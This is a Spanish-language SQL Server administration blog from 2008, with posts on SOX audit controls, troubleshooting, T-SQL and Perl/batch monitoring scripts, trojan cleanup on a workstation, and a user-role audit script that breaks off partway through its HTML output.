miércoles, 4 de junio de 2008

SQL Server 2005: Memoria, procesador y otros números

Todo surgió esta mañana cuando me pidieron un informe acerca de cuánta memoria podía soportar SQL Server y cuál era el límite de datos que podía manejar.

Estos enlaces merece la pena ternelos a mano:

Memoria soportada por SQL Server 2005

Memoria soportada por Windows
Procesadores soportados por SQL Server 2005
Máximas capacidades de SQL Server 2005

SOX II Cambio de password en SA

Lo que piden:
KCA I6.2.1.1 which reads, "Security/Access administration creates accounts and profiles and grants access in accordance with applicable standards (including unique user ID's and password change frequency).

Cada trimestre ha de cambiarse la cuenta SA por una nueva de 14 caracteres (letras, números, caracteres) Se abre un ticket como prueba que el cambio es efectivo en todos los servidores.

Una captura de pantalla mostrando ese ticket es suficiente

Sarbanes-Oxley I

Durante las últimas semanas los auditores han estado examinado si algunas de nuestras bbdd de finanzas cumplían o no con la ley Sarbanes-Oxley (SOX)

La Ley Sarbanes Oxley nace en Estados Unidos con el fin de monitorear a las empresas que cotizan en bolsa, evitando que las acciones de las mismas sean alteradas de manera dudosa, mientras que su valor es menor. Su finalidad es evitar fraudes y riesgo de bancarrota, protegiendo al inversor (http://es.wikipedia.org/wiki/Acta_Sarbanes-Oxley)

En diferentes entradas os iré poniendo las respuestas y pruebas presentadas a las preguntas de los auditores. Como vereís todo es bastante subjetivo. Algunas son fáciles de implementar y contestar; otras en cambio... si vuestra empresa sigue ese modelo qué os voy a contar.

Esta vez, los auditores fijaron su atención en:

- Controles de seguridad de sistemas
- Acceso a bbdd
- Backup y recovery
- Almacenamiento y protección de datos
- Recuperación de datos
- Procedimientos de Change Managment
- Vulnerabilidades
- Monitorización y respuesta a incidentes

(vamos, que prácticamente todo)


Para los administradores de SQL es un alivio la aparición de SQL 2005 ya que ofrece más posibilidades a la hora de satisfacer lo requerimientos de SOX. Os pongo un enlace interesante al respecto
Además, Microsoft tiene una herramienta interesante.
Lo que aún sigue en SQL 2000 sigue siendo la gran pesadilla.

miércoles, 30 de abril de 2008

Pasos para resolver problemas de conectividad

Os recomiendo echar un vistazo a esta entrada publicada hoy mismo por el equipo de SQL Protocols, en la que muestran algunos pasos a seguir para resolver los problemas de conectividad con SQL Server, esos que tan a menudo aparecen y tantos quebraderos de cabez dan alos administradores.

Establecen 6 tipos de razones:

1- Red
2- Configuración de SQl Server
3- Firewall
4-Driver en cliente
5-Configuración de la aplicación
6-Autentificación y logon

Para cada una recomiendan el uso de herramientas como ping, nslookup, osql
y apuntan hacia qué mirar para localizar el problema

Exception from HRESULT: 0xC0010014 (Microsoft.SqlServer.DTSRuntimeWrap)

En sistemas de 64-bits, puede aparecer este error cuando se trata de crear o modificar un plan de mantenimiento o conectar a SQL 2005 Integration Services

El problema lo causa la instalación de parches que provocan que el dts.dll de 32-bits quede 'desregistrado'.
Causas y resolución detalladas en el siguiente KB

Nota: Para volver a registrar la dll tened en cuenta la ruta donde tengáis los binarios de SQL, que puede no ser la establecida por defecto
%windir%\syswow64\regsvr32 "%ProgramFiles(x86)%\Microsoft SQL Server\90\dts\binn\dts.dll"


jueves, 17 de abril de 2008

CU#7 puede afectar Analysis Services backup

Ayer publicaron en el blog de Microsoft PSS que el nuevo paquete de actualización para Ms SQL Server 2005 puede afectar a los backups de Analysis Services así como las operaciones de sincronización. Aquí toda la información

miércoles, 16 de abril de 2008

SP3 para SQL 2005 en breve

Desde su blog, el equipo de Data Platform Insider anuncia que el SP3, tan demandando, durante este año. Buenas noticias

Paquete de Actualización n. 7 para SQL 2005

Ayer salió por fin la nueva actualización que ya os adelantaba en una entrada previa.
Hay un nuevo blog de Microsoft SQL Server Release Services donde tenéis información sobr4e éste y anteriores parches.

lunes, 14 de abril de 2008

40% en el examen para SQL Server 2008

Oferta de Microsoft: registraros y cuando estén disponibles los nuevos exámens (dicen que pra agosto) ahorraréis un 40%, que no es poco

Más información aquí

domingo, 13 de abril de 2008

The shell stopped unexpectedly and Explorer.exe was restarted.

Explorer.exe (no confundir con Internet Explorer) se apaga y reinicia. Puede ser continuamente o a intervalos más largos. En el visor de eventos de Windows puede verse el error arriba mencionado.

Hay varias causas que provocan este error. Las má comunes son software antivirus , alguna extensión del shell corrupta o incompatible, o algún troyano o software malicioso. Microsoft no ofrece mucha ayuda; tan sólo especifica que el shell es explorer.exe

Aunque no sea directamente un problema de SQL Server creo intersante esta entrada, pues 'googleando' vi que este problema puede ser más común en servidores de lo que se pudiese creer.

En mi caso fue mi propio ordenador que se infectado por un troyano indetectable para mi antivirus y para la herramienta de Microsoft 'software removal. Pero como podéis ver en esta entrada, las causas pueden ser otras y las solucciones de los más variado ( fuente eventid)

Estos son los pasos que yo seguí para identificar la causa y solucionarlo (provisto tal como es, sin ninguna garantía, que cada cual lo use a su propio riesgo):

Correr ShellExview . Este programa es un ejecutable que no se instala en el ordenador. Identifica dll's y procesos que corren en el shell (explorer.exe) Además permite deshabilitar o éstos del shell de Windows
En mi caso descubrí estos tres que habían sido instalados (aún no me explico cómo) el mismo día que apareció el problema:

ccbsph.dll
qomectum.dll
tuvwmldt.dll

En caso que no sea posible deshabilitarlos por estar éstos usados por otras aplicaciones (en mi caso Winlogon y explorer) liberadlos usando processexplorer

Una vez libres, ya pueden ser borrados. Corrí entonces RegScanner para eliminar cualquier referencia a estas dll en el registro.

Para acabar, podéis también usar algún programa antiespia que os permita eliminar restos del software malicioso en vuestra máquian (generalmente el ejecutable seguirá en el archivo temp y puede que alguna referencia en archivos de programa\archivos comunes)





Además processexplorer

jueves, 10 de abril de 2008

Firewall de Cisco VPN

Si utilizáis la VPN de Cisco, tener en cuenta que éste incluye in firewall que funciona independiente del tunel IPSEC. Si está activado (en menú, opciones) la máquina será invisible en la red excepto para las conexiones que ella establezca. Además limita todo el tráfico entrante (ping incluido) aunque no tengáis activado el tunel

Así por tanto, si intentáis conectaros a una máquina por escritorio remoto o terminal por ejemplo y veis que no hay manera, si tiene este software instalado os recomiendo mirad primero en esta dirección

El manual de Cisco (en inglés) especifica que hay dos exceptciones de tráfico permitido : DHCP y ESP desde un gateway seguro.

miércoles, 9 de abril de 2008

Fin del soporte a MS SQL Server 2000

Ayer, día 8, oficialmente Microsoft dejó de dar soporte, digamos "normal" a sql 2000. El soporte extendido (hablando en plata, pagando) llegará hasta 2013 (aún hay tiempo)

En esta página están las fechas de caducidad de SQL Server

martes, 8 de abril de 2008

Publicidad oculta en el blog

Pido disculpas por las ventanas emergentes de publicidad que aparecían en este blog. Motigo, el contador de visitas que he venido utilizando desde hace que comencé este blog, decidió unilateralmente incluir publicidad sin notificármelo ("eas.apm.emediate.eu"). Es lo que tiene aceptar términos y condiciones sin leer detenidamente la letra pequeña.

Una pena porque las estadísticas que ofrecía eran realmente interesantes.

Statscounter puede ser una buena alternativa. La información es muy completa y prometen no incluir publicidad sin consentimiento. Vermos pues

miércoles, 2 de abril de 2008

¿SQL Server 2008 vulnerable?

En Eweek comentan que César Cerrudo de Argeniss Information Security, ha descubierto cómo explotar vulnerabilidades en Windows Server 2008, IIS 7 y SQL Server 2008.
Parece que es posible elevar privilegios a Local System desde procesos que corran como Network Service o Local Service. No hay mucha más información; César mostrará sus resultados en la próxima 'Hack in the Box conference ' en Dubai.

lunes, 31 de marzo de 2008

Nuevo paquete de actualización para SQL 2005...

...que hace el número 7 para el SP2. Aún no hay fecha exacta para su lanzamiento (sólo que ocurrirá dentro del próximo mes) ¿No sería mejor publicar ya de una vez el SP3?

Más información en Microsoft

miércoles, 19 de marzo de 2008

Eliminar usuarios alias

Los alias en SQL sirven para mapear un usuario en una bbdd. A partir de la versión 7.0 se sustituyen por los ‘Roles’, pero se conservan por compatibilidad con versiones anteriores.
Si la bbdd se crea a partir de versiones anteriores (backups o sp_attach) os encontraréis que estos alias aparecen como usuarios huérfanos . Sin emabargo en el Enterprise Manager o Managment Studio no hay señal de ellos.
Un ejemplo de cómo aparecen en sysusers o sys.sysusers :

status 16
name \nombre
roles NULL
altuid 5
hasdbaccess 0
islogin 1
isntname 0
isntgroup 0
isntuser 0
issqluser 0
isaliased 1
issqlrole 0
isapprole 0

Si analizamos el procedimiento sp_addalias, vemos que status= 16 indica que el usuario es un alias.
-- INSERT SYSUSERS ROW --
insert into sysusers select
@newuid, @status | 16, @loginame, @sid, 0x00,
getdate(), getdate(), @targuid, NULL

La barra inclinada [\] es otro distintivo que SQL Server añade al crear un nuevo alias con el fin de evitar conflictos en names space :

- ALTER NAME TO AVOID CONFLICTS IN NAME SPACE --
select @loginame = '\' + @loginame


i se intenta elimiar el alias con sp_dropalias resulta el siguiente error:

Server: Msg 15401, Level 11, State 1, Procedure sp_dropalias, Line 49
Windows NT user or group '[\nombre]' not found. Check the name again.

Sp_helpuser ‘\nombre’ tambíen da error:

Server: Msg 15198, Level 16, State 1, Procedure sp_helpuser, Line 189
The name supplied ([\nombre ]) is not a user, role, or aliased login.

La causa es que el alias está huérfano; el/los usuario/s a los que estaba asociado no existen en la base de datos.
La solución es crear un nuevo usuario al que se le asignará el mismo sid :

sp_addlogin @loginame = 'test, @passwd = 'test', @sid = 0x sid del alias

Y ahora ya se puede eliminar el alias:

Sp_dropalias ‘\nombre’

jueves, 13 de marzo de 2008

Configurar Database Mail en SQL Server 2005 para notificar Alertas

Un simple tutorial sobre cómo configurar la notificación mediante email.

Una vez que creáis la alerta, lo primero es habilitar Database Mail en SQL Server Surface Area Configuration (SQL Mail es el que aparecía en versiones anteriores y que necesitaba Outlook para funcionar)

A continuación en Managment- Database Mail, botón derecho y elegir la opción de configurar. Ahí poned nombre de la cuenta dirección de correo y el nombre del servidor de correo que usaréis (el resto de valores por defecto):

Siguiente
y finalizar

Necesitamos crear operadores a los cuales enviar los correos. En SQLServerAgent- Operadors, botón derecho y crear nuevo. Ahí rellenáis nombre y dirección de correo del operador

Debemos ahora habilitar el Agente:
en SQLServerAgent-Propiedades, seleccionar la terecera opción (Alerta) y clic en 'Mail Session'. como sistema selgís Database MAil (el que configuramos primero) y le asignáis el perfil o uno de los perfiles que anteriormente creastéis


Para que estos cambios tengan efecto en el Agente sólo queda reiniciarlo



miércoles, 12 de marzo de 2008

1Tb en menos de 30 minutos

El nuevo SSIS (SQL Server Integration Services, los nuevos DTS) integrado en SQL Server 2008 impresiona. El equipo de SQL Performance ha establecido un nuevo record mundial de carga en base de datos usando una herramienta ETL (Extract Transform and Load) Tenéis todos los detalles en su propia bitácora

Problema con SQLAgent.out

Este fichero es el log del agente de SQL Server. Generalmente no da ningún problema; pero ayer descubrimos que había crecido desmesuradamente, ocupando 27Gb de espacio.


Por si os pasa, revisad bien si algún trabajo ha sido recientemente deshabilitado, y algún proceso, por ejemplo una alerta, está repetidamente intentando ejecutarlo (mi caso)

viernes, 7 de marzo de 2008

VSS y NT Authority system login failure

SQL Server 2005 instala automáticamente el servicio SQL Server VSS Writer sin permiso, ni consentimiento; ni siquiera da la opción de configurarlo!

Este servicio lo emplean softwares de backup para, entre otras cosas, obtener información de archivos (de datos) abiertos (usandos por el motor SQl Server) (para más información recomiendo que leáis este artículo)

Windows 2003 incluye un servicio similar: VSSVC.exe (Volume Sow Copy Service)

Mediante una traza podemos ver qué hacen estos dos servicios:

SQL Server Writer:

select name, recovery_model_desc, state_desc, CONVERT(integer, is_in_standby) from master.sys.databases

Y para cada base de datos la siguiente consulta

select rtrim(physical_name),rtrim(type_desc),rtrim(state_desc), is_name_reserved from sys.master_files where DB_ID(N'database_name_here') = database_id


VSSVC.exe:

Exactamente lo mimso pero con otra sintáxis:

select name,convert (int,status) from master.dbo.sysdatabases

Y sobre cada bbdd:

select rtrim(filename),status & 64 from sysaltfiles where DB_ID(N'database_name_here') = dbid

Problema: Login failed for user 'NT AUTHORITY\SYSTEM'

Los dos servico VSS arrancan con 'local system account' . Una de las recomendaciones más básicas (recogio en el 'Best Practises' de Microsoft incluso) es la de eliminar los accesos de la cuenta 'builtin\administrators' (en SQL 2000 y 2005). en SQL2005 aparece una nueva cuenta, NT AUTHORITY\SYSTEM, ¿ similar a 'builtin'? Si ambas cuentas se eliminan, comienzan los 'login failures'

Como no tenemos control sobre lo que hacen los 2 servicios VSS (Volume Shadow Copy Service y/o SQL Server VSS Writer) o lo que pueden hacer a petición de un programa de backup, no me parece buena idea arrancar estos servicios con una cuenta que sea sysadmin de SQL Server (aunque esto eliminaría el problema de los login failures)


Como tampoco controlamos el software y los procedimientos de backup no parece buena elección desactivar los servicios, ya que podríamos estar cargándonos el sistema de backup de archivos abiertos.


Solucion intermedia:

En SQL 2000 añadir el login NT AUTHORITY\SYSTEM con permisos read-only sobre la master

En SQL 2005 limitar los permisos de NT AUTHORITY\SYSTEM a read-only sobre la master


Temas relacionados

Full text search también utiliza nt authority\system, y no sé si esta solucion afectaría a su funcionamiento pero eso es otra historia.

(entrada creada en colaboración con Javier González)

jueves, 6 de marzo de 2008

SQL Server Data Services (SSDS)

Microsoft anunció ayer, día 5, el lanzamiento en versión beta de SQL Server Data Services (también conocido como SSDS, le cogieron gusto a los acrónimos SS*S!)
¿Y en qué consiste este revolucionario producto, según venden en su sitio web? Principalmente en llevar SQL Server a la web de una forma barata; Microsoft se preocupa del software y el hardware y el cliente sólo de manejar los datos.
Algunas de sus caractrísticas son que soporta estándares basados en REST y en SOAP, puede alamacenar múltiples tipos de datos y no hay límite en cuanto al tamaño de datos almacenados en el sistema de clústers alojados en centros de datos de Microsoft.

En la página principal de este nuevo producto hay un enlaze a un "documento blanco" que en estos momentos está roto.

Os recomiendo echar un vistazo a las preguntas frecuentes oficiales (con su correspondiente respuesta) y las que acertadamente plantea Jamie Homson , que esperemos añadan a las primeras

lunes, 3 de marzo de 2008

DBCC Checktable

Según los libros en pantalla de SQL, este comando comprueba la integridad de todas las páginas y estructuras que constituyen la tabla o vista indicada
Pero además, en conjunción con Dbcc traceon (2704) muestra un lista de todas las celdas que contienen datos del tipo date-time corruptos

Dbcc traceon (2704)
Dbcc checktable (tablename)
Dbcc traceoff (2704)



Copiar permisos de un usuario

Os pongo un sencillo script que puede ser de utilidad si queremos copiar los permisos que un usuario tiene sobre los distintos objetos de una bbdd del tipo:

Grant References ON XTable TO user GO
Grant Select ON XTable TO user GO

El script genera a su vez otros scripts para poder reproducir estos permisos en otra bbdd



use db
go

create table #dba_user_rights(
Owner sysname,
Object sysname,
Grantee sysname,
Grantor sysname,
ProtectType char(10),
Action varchar(20),
Columna sysname
)

insert into #dba_user_rights EXEC ('sp_helprotect NULL, ''usuario''')


select protecttype + ' ' + action + ' ON ' + object + ' TO ' + grantee + ' GO 'from #dba_user_rights


drop table #dba_user_rights

jueves, 28 de febrero de 2008

Evitar el uso del cursor

Una de las recomendaciones más tópicas a la hora de escribir scripts en T-SQL es la de eliminar el empleo de cursores siempre que sea posible.

Brad McGehee en sql-server-performance.com habla del tema. Y aunque menciona el uso de WHILE como alternativa al cursor no pone ningún modelo como ejemplo

Aquí va uno sencillo (simplemente toma los nombres de todas las bbdd del servidor y los muestra )

declare @loop int

create table #test (clave int identity(1,1) not null, dbname varchar (60))

insert into #test select name from master..sysdatabases

SET @loop = isnull((SELECT count(*) FROM #test),0)

SET @counter= 1

WHILE @loop >0 and @counter <=@loop

BEGIN

SELECT @dbname = rtrim(dbname) FROM #test

WHERE clave = @counter

print @dbname

SET @counter = @counter +1

END

Select * from #test

DROP TABLE #test

El mismo ejemplo pero usando cursor sería algo así:

declare @counter int

declare @dbname varchar (60)

create table #testcur (dbname varchar (60))

insert into #testcur select name from master..sysdatabases

declare dbcursor cursor for select dbname from #testcur

open dbcursor

fetch next from dbcursor into @dbname

while @@fetch_status = 0

begin

print @dbname

fetch next from dbcursor into @dbname

end

close dbcursor

deallocate dbcursor

drop table #testcur

jueves, 21 de febrero de 2008

Generardor de Passwords

¿Cansados de tener que pensar passwords seguras? PcTools las generará por vosotros, en linea o descargando la herramienta en vuestro pc. Echarle un vistazo además a otros productos; hay herramientas, de pago y freeware, muy interesantes

miércoles, 20 de febrero de 2008

SQL Server 2008 CPT

Sale a la luz el que probablemente sea último CPT (Community Technology Preview) de SQL Server 2008. Aquí para descargarlo.

El fichero de 1.4 Gb incluye quince novedades con respecto a vesiones previas del 2008 como SQl Audit, compresión de datos o índices filtrados

Y un reto: si descubres un bug puedes ganar una Xbox

miércoles, 13 de febrero de 2008

Ejecutar a la vez un mismo script en varias instancias

El pasado viernes, os puse un ejemplo de cómo correr una misma consulta en varios servidores y presentar todos los resultados en un mismo archivo de texto. Os ponía en el ejmplo un sencillo script para monitorizar el estado de la tempdb.

A continuación tenéis otro ejemplo, esta vez en perl. El script crea una carpeta con la fecha presente y en ella por cada instancia consultada crea un archivo de texto.

En mi caso, empleo este script para la monitorización diaria de logs entre otros.

#!perl

#---------------------------------------------------------

#--GETTING DATES FROM WHICH LOGS WILL BE WRITTEN

#---------------------------------------------------------

#--gets dates:current & day before to grep those entries

#--from the log file generated

#--gets date to delete seven days old rpts

use Time::localtime;

#-- get dates

#$tm = localtime(time - (86400)); #for day before

$tp = localtime; #for current

#$td = localtime(time - (604800)) ; # seven days ago

#--for each date, two different formats: yyyy-mm-dd -> SQL 7, 2k, 2005

#--yyyy/mm/dd -> SQL 6.5

#-- & eliminate possible blank spaces

$variable= sprintf("%04d-%02d-%02d\n", $tp->year+1900, ($tp->mon)+1, $tp->mday);

$variable=~s/\s//g;

$report = "script.sql";

#-----------------------------------------------

#--MAKE DIRECTORY WHERE RPTS WILL BE PLACED

#-----------------------------------------------

$directory ="$variable";

system("mkdir $directory");

@todo = (

'servidor1',

'servidor1\instancia1',

);

system( "del $directory\\*.log");

foreach (@todo) {

#--assign scalar value server

$server=$_; # server name itself

$output=$_; # since win cannot create files with "\"...

$output=~s/\\/X/; #...remove backslash and replace it for "X"

#--remove spaces

$server=~s/\s//g;

$output=~s/\s//g;

system("osql -E -S $server -t60 -n -w1000 -i $report -o $directory\\$output.log");

}

#--END

Podéis copiar el ejemplo en un archivo y salvarlo con extensión pl. Si estáis interesados en cómo usar perl con SQLl Server os recomiendo este libro

martes, 12 de febrero de 2008

Versiones de Microsoft SQL Server 2008, 2005, 2000 y 7.0

Microsoft (¡por fin!) desde el 19 de diciembre incluye un documento con los distntas versiones (parches, actualizaciones, etc) de Sql Server desde el lanzamiento del SP2

Se echa de menos un documento más extenso que incluya versiones anteriores. Por suerte para nosotros, alguien se dedica a recopilar toda esa información. Os recomiendo salvar este enlace en favoritos

viernes, 8 de febrero de 2008

Comprobar el estado de la Tempdb en varios servidores

Una buena solución para correr un script en varios servidores es usar OSQL dentro de un batch file u otro lenguaje script

Por ejemplo, supongamos que queremos ver el estatus de la tempdb en una serie de servidores y queremos que todos los resultados aparezcan en un archivo de texto que llamo jobstatus.txt y que presenta el siguiente formato:

Fri 02/08/2008

09:41 AM

*****************************************************************

TEMPDB STATUS

*****************************************************************

Server Name DB Name DB Size Mb Space Used Mb

Servidor1 Tempdb 3316.44 0.55

Server Name DB Name DB Size Mb Space Used Mb

Servidor2 Tempdb 150.00 0.70

Server Name DB Name DB Size Mb Space Used Mb

Servidor3 Tempdb 65.56 0.59

Para ello crearemos en este caso un batch file en el cual incluiremos la lista de servidores a auditar y una línea OSQL (consultar la ayuda en línea acerca de esta utilidad para ver opciones de salida)

En primer lugar creamos el script que queremos correr y lo salvamos con extensión *.sql

set nocount on

declare @dbsize dec(15,2)

declare @database_size nvarchar(13)

declare @spaceused nvarchar(13)

select @dbsize = sum(convert(dec(15,2),size))

from tempdb.dbo.sysfiles

select @database_size =(convert(dec(15,2),@dbsize / 128)),

@spaceused=(select convert(dec (15,2),(sum(convert(dec(15,2),reserved))/128))

from tempdb..sysindexes

where indid in (0, 1, 255))

select convert(nvarchar(30),@@servername) as 'Server Name','Tempdb' as 'DB Name',

@database_size as 'DB Size Mb', @spaceused as 'Space Used Mb'

set nocount off

A continuación, necesitamos el batch file:

date /t >>jobstatus.txt

time /t >>jobstatus.txt

echo *****************************************************************>> jobstatus.txt

echo TEMPDB STATUS >>JOBSTATUS.TXT

echo *****************************************************************>>jobstatus.txt

::Aquí tenemos los servidores.

for %%t in (

servidor1

servidor2

servidor3

) do osql -E -S %%t -t30 -n -w500 -i TEMPDB.sql >> jobstatus.txt

echo ------------------------------------------------------->> jobstatus.txt

echo ------------------------------------------------------->> jobstatus.txt

echo END OF REPORT

::si queremos que automáticamente se nos abra el fichero

notepad jobstatus.txt

Salvamos con extensión *.bat. Para ejecutar, ya sabéis doble click o bien podéis programarlo como un job (aseguraros que la cuenta que lo ejecuta tiene permisos en cada uno de los servidores).

El próximo día os pondré otro ejemplo, esta vez utilizando perl, salvando un fichero para cada servidor.

jueves, 7 de febrero de 2008

SQL Server 2005 Informes de Rendimiento

SP2 introduce una nueva utilidad llamada "Custom Reports" la cual nos permite crear informes personalizados a partir de Reporting Services para ser visualizados desde el Management Studio. Aprovechando esta nueva funcionalidad, una herramienta muy, muy interesante es el SQLServer2005_PerformanceDashboard.

En la imagen siguiente podéis ver el aspecto que tiene:




Este conjunto de informes creados por Keith Elmore (ingeniero de soporte de Micorosoft)utiliza sólo las Dynamic Management Views and los Catalog Views ( no alamacena datos ni tampoco usa los contadores de Windows)
La instalación es bastante sencilla; bajaros el paquete msi desde el primer enlace. Correr el ejecutable, seleccionar dónde queréis guardar los informes. Una vez extraidos los ficheros, deberéis correr un script sql que creará una serie de funciones y procedimientos almacenados en MSDB que serán los encargados de generar el informe. De todas formas, en el siguiente enlace tenéis paso a paso las instrucciones de instalación

Conviene echarle un vistazo al blog SQL Server Manageability Team en el cual aparece la resolución de algunos problemas y errores que pudieráis encontrar


miércoles, 6 de febrero de 2008

Traza habilitada por defecto en SQL Server 2005

Por defecto, SQL 2005 activa una traza que captura eventos tales como auditar usuarios, objetos, inicio-parada de servidor, etc La siguiente sentencia devuelve los eventos (número y descripción) que captura la traza:

SELECT DISTINCT a.eventid, b.name
FROM fn_trace_geteventinfo(1) a
JOIN sys.trace_events b
ON a.eventid = b.trace_event_id

La traza está configurada para no crear archivos más grandes de 20Mb. Estos archivos se encuentran situados en el directorio de SQL (C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\LOG por defecto)

Si corréis select * from ::fn_trace_getinfo(default) os dará información acerca del directorio, tamaño etc.

Managment Studio utiliza esta traza para generar sus informes, pero si queréis visualizar los datos caputrados, directamente con el profiler se puede abrir (simplemente doble click en el archivo trc que queráis, o bien podéis importarlo a una tabla:
use tudb
SELECT * INTO temp_trc FROM fn_trace_gettable('c:\temp\my_trace.trc', default) -- dir de la traza
GO

La ayuda en linea ofrece
información sobre esta traza

Y en este blog podéis encontrar un interesante análisis sobre el impacto en el servidor de esta y del db page checksum traza

martes, 5 de febrero de 2008

Actualización para SQL Server 2005 SP2

Con fecha 30 de Enero, Microsoft ha publicado un paquete de actualizaciones del SP2
Aunque la lista de 'bugs' que corrige es enorme, Microsoft no recomienda la actualización a menos que se sufra alguno de los problemas descritos en el KB . Para conseguir este conjunto de actualizaciones, debe contactarse con el servico de soporte de Microsoft.

lunes, 4 de febrero de 2008

Cambio de sintaxis en los SQL Agent Tokens

A partir de SP1 los tokens incluidos en trabajos necesitan macros de escape. Si intentáis lanzar el trabajo que incluya tokens aparece´ra el siguiente error :


The job step contains one or more tokens. For SQL Server 2005 Service Pack 1 or later versions, all job steps with tokens must be updated with a macro before the job can run.


En el KB 915845 tenéis más detalles

Así pues, en vez de $(A-MSG) vendría a ser algo como $(ESCAPE_NONE(A-MSG)

Otroo ejemplo; por ejemplo utilizáis

SET @err =REPLACE("$(A-MSG)", '''','')

Debería ser cambiado a

SET @err ='$(ESCAPE_SQUOTE(A-MSG))'

Para compensar en parte el engorro de este cambio Microsoft facilita un sp (sp_AddEscapeNoneToJobStepTokens )que automáticamente adapta los trabajos existentes a la nueva sintaxis. Como su nombre indica, sólo añada el macro de Escape_None, ojo

El script lo tenéis hacia el final en el KB arriba indicado

miércoles, 30 de enero de 2008

Aprende SQL injection con Microsoft

Microsoft tiene disponible una nueva página sobre seguridad, Hello Secure World Lo más interesante es que ofrece un laboratorio virtual (hay que instalar Silverlight) con una serie de ejercicios con diversas técnicas de ataques a páginas web, entre ellas la inyección SQL.

A practicar!!

lunes, 28 de enero de 2008

Se retrasa SQL Server 2008

En este blog de Microsoft, se anuncia que la versión RTM definitiva de Katmai no saldrá hasta el tercer trimestre de este año.

viernes, 25 de enero de 2008

Auditar Usuarios en SQL Server

Los auditores siempre piden ver usuarios con sus roles y sus bbdd por defecto. El siguiente script saca un informe en excel con esos datos para todas las bbdd de un servidor, ordenadas alfabéticamente, todo en una línea
Estos son los datos que extrae
DATABASE
USER NAME
LOGIN NAME
DEFAULT DB
CREATION DATE
MODIFIED
LOGIN TYPE
ROLES


Podéis copiar el script en Query analizer y recordad poner la salida a fichero. El nombre poned el que queráis con la extensión XLS (de excel. o *.HTML si lo queréis en este formato)

Este script es una modificación de otro similar que podéis encontrar en bastantes webs sobre SQL Server y que sinceramente no recuerdo dónde descargué.

--  SQL SERVER USERS AUDIT

-- Process
--    CREATETemp TABLE for Report
--    CREATETemp TABLE for Users
--    CREATETemp TABLE for Roles
--    Populate Db's 
--    Populate Users
--    Populate Roles
--    Iterate though each user AND update their roles into a single column for each db
--    Return the users, their logins (reports orphaned if so) and their roles

SET NOCOUNT ON

DECLARE @db    varchar (128)
DECLARE @defdb    varchar(64)
DECLARE @createdate   varchar (25)
DECLARE @lAStmodifieddate  varchar(25)
DECLARE @logintype   varchar(50)
DECLARE @loginname   varchar(64)

CREATE TABLE #rpt
(  
db    varchar(64),
Name              varchar(128),
Loginname   varchar(64),
defdb   varchar (64),
CreateDate         varchar(25),
LAStModifiedDate    varchar(25),
LoginType         varchar(50),
Roles             varchar(300)
)

CREATE TABLE #Temp_Users
(
Name              varchar(128),
Defdb   varchar(64),
CreateDate         datetime,
LAStModifiedDate    datetime,
LoginType         varchar(50),
Roles             varchar(1024),
sid   varbinary(64)

)

CREATE TABLE #Temp_Roles
(
Name              varchar(128),
Role             varchar(128)
)
DECLARE databASes CURSOR

FOR SELECT name FROM master..sysdatabASes

OPEN databASes 
FETCH NEXT FROM databases INTO @db

WHILE @@fetch_status = 0 
BEGIN
DELETE  #temp_users
INSERT INTO #Temp_Users
EXEC('SELECT m.[Name],null AS Defdb,  m.CreateDate, m.UpdateDate,
LoginType = CASE
WHEN m.IsNTName = 1 THEN ''Windows Account''
WHEN m.IsNTGroup = 1 THEN ''Windows Group''
WHEN m.isSqlUser = 1 THEN ''SQL Server User''
WHEN m.isAliased =1 THEN ''Aliased''  
WHEN m.isSQLRole = 1 THEN ''SQL Role''
WHEN m.isAppRole = 1 THEN ''Application Role''
ELSE ''Unknown''
END,
Roles = '''', sid
FROM ['+@db+']..sysusers m
WHERE m.SID IS NOT NULL AND name <> ''guest''
ORDER BY m.Name')
DELETE  #temp_roles
INSERT INTO #Temp_Roles
EXEC('SELECT MemberName = u.name, DbRole = g.name
FROM ['+@db+']..sysusers u,['+@db+']..sysusers g,['+@db+']..sysmembers m
WHERE   g.uid = m.groupuid
AND g.issqlrole = 1
AND u.uid = m.memberuid
ORDER BY 1, 2')



DECLARE @Name    varchar(128)
DECLARE @Roles   varchar(1024)
DECLARE @Role    varchar(128)

DECLARE UserCursor CURSOR FOR
SELECT name FROM #Temp_Users

OPEN UserCursor
FETCH NEXT FROM UserCursor INTO @Name

WHILE @@FETCH_STATUS = 0

BEGIN
SET @Roles = ''
DECLARE RoleCursor CURSOR FOR
SELECT Role FROM #Temp_Roles WHERE Name = @Name

OPEN RoleCursor
FETCH NEXT FROM RoleCursor INTO @Role

WHILE @@FETCH_STATUS = 0

BEGIN
IF (@Roles > '')
SET @Roles = @Roles + ', '+@Role
ELSE
SET @Roles = @Role

FETCH NEXT FROM RoleCursor INTO @Role

END

CLOSE RoleCursor
DEALLOCATE RoleCursor

SET    @loginname = 'ALERT ORPHANED!!!'
SELECT @createdate = convert(varchar(25),createdate) FROM #temp_users WHERE Name = @Name
SELECT @Lastmodifieddate = convert(varchar(25),lastmodifieddate) FROM #temp_users WHERE Name = @Name
SELECT @logintype = logintype FROM #temp_users WHERE Name = @Name
SELECT @defdb = dbname FROM  mASter..syslogins a, #temp_users b WHERE b.name = @name AND a.sid = b.sid
SELECT @loginname= loginname FROM mASter..syslogins a, #temp_users b WHERE b.name = @name AND a.sid = b.sid

INSERT INTO #rpt VALUES(rtrim(@db),rtrim(@name),isnull(rtrim(@loginname), 'orphaned'),rtrim(@defdb),@createdate,@lastmodifieddate,rtrim(@logintype),'public, '+rtrim(@roles))

FETCH NEXT FROM UserCursor INTO @Name

END
CLOSE UserCursor
DEALLOCATE UserCursor

FETCH NEXT FROM databASes INTO @db
END

CLOSE databASes
DEALLOCATE databASes
PRINT '<b>'
PRINT '<p ALIGN = "left"> Server Name: ' +convert(char(24), @@SERVERNAME)+'</P>'
PRINT '<p ALIGN = "left"> Created by: ' + convert(char(30),SESSION_USER)+'</P>'
PRINT '<p ALIGN = "left"> Created from: ' + convert(char(30),host_name())+'</P>'
PRINT '<p ALIGN = "left"> Date: '+CONVERT(VARCHAR(32), getdate())+'</P>'
PRINT '</b>'

print '<p ALIGN = "left"><A HREF="http://url de referencia donde se reflejan las políticas en cuanto a usuarios</p></A> '
select '<DIV ALIGN="center"><TABLE BORDER="1" CELLPADDING="8" CELLSPACING="0" BORDERCOLOUR="003366" WIDTH="100%">
<TR BGCOLOR="EEEEEE"><TD CLASS="Title" COLSPAN="8" ALIGN="center"><B><h4>USERS LOGINS AND ROLES</B></h4></TD></TR>'
union  all
select     '<TR BGCOLOR="EEEEEE">
<TD ALIGN="left" WIDTH="5%"><B>DATABASE</B> </TD>
<TD ALIGN="left" WIDTH="5%"><B>USER NAME</B> </TD>
